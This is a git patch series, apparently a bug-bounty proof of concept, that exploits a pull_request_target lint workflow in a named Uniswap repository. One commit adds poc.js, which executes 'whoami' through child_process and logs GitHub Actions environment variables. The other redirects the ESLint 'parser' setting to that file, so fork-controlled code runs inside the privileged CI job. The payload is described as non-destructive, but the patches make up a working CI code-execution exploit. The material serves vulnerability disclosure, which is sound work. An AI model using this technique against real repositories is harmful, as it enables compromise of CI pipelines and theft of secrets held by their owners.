From 9dd4a61c2306596d50627741825a61eb56a569b0 Mon Sep 17 00:00:00 2001 From: pwnhaven-afk Date: Wed, 10 Jun 2026 21:23:23 +0400 Subject: [PATCH 1/2] add benign lint-action pull_request_target RCE PoC (proof-of-execution only) --- poc.js | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 poc.js diff --git a/poc.js b/poc.js new file mode 100644 index 00000000..8f9c516f --- /dev/null +++ b/poc.js @@ -0,0 +1,18 @@ +// Benign security PoC for Cantina submission: Uniswap/sybil-interface lint.yml pull_request_target RCE. +// Proves fork-controlled code executes inside the privileged pull_request_target job via the eslint +// `parser` field. Strictly non-destructive: no secret is read or exfiltrated, nothing is pushed to any +// Uniswap repo. Returns the real parser so the lint job proceeds normally. +module.exports = (() => { + const cp = require("child_process"); + let who = ""; + try { who = cp.execSync("whoami").toString().trim(); } catch (e) { who = "err:" + e.message; } + console.log("=== LINT_ACTION_PR_TARGET_RCE_POC ==="); + console.log("proof: fork-controlled parser executed via node require()"); + console.log("whoami: " + who); + console.log("GITHUB_EVENT_NAME: " + process.env.GITHUB_EVENT_NAME); + console.log("GITHUB_REPOSITORY: " + process.env.GITHUB_REPOSITORY); + console.log("GITHUB_REF: " + process.env.GITHUB_REF); + console.log("note: benign - no token read, no push; returning real parser"); + console.log("=== END LINT_ACTION_PR_TARGET_RCE_POC ==="); + return require("@typescript-eslint/parser"); +})(); From 8326583365baec61dba30cc27c1f05f0626b4188 Mon Sep 17 00:00:00 2001 From: pwnhaven-afk Date: Wed, 10 Jun 2026 21:23:41 +0400 Subject: [PATCH 2/2] point eslint parser at PoC file (demonstrates require() execution) --- .eslintrc.json | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/.eslintrc.json b/.eslintrc.json index ed10a7c4..3185e140 100644 --- a/.eslintrc.json +++ b/.eslintrc.json @@ -1,10 +1,9 @@ { - "parser": "@typescript-eslint/parser", + "parser": "./poc.js", "parserOptions": { "ecmaVersion": 2020, "sourceType": "module", "ecmaFeatures": { - // Allows for the parsing of JSX "jsx": true } },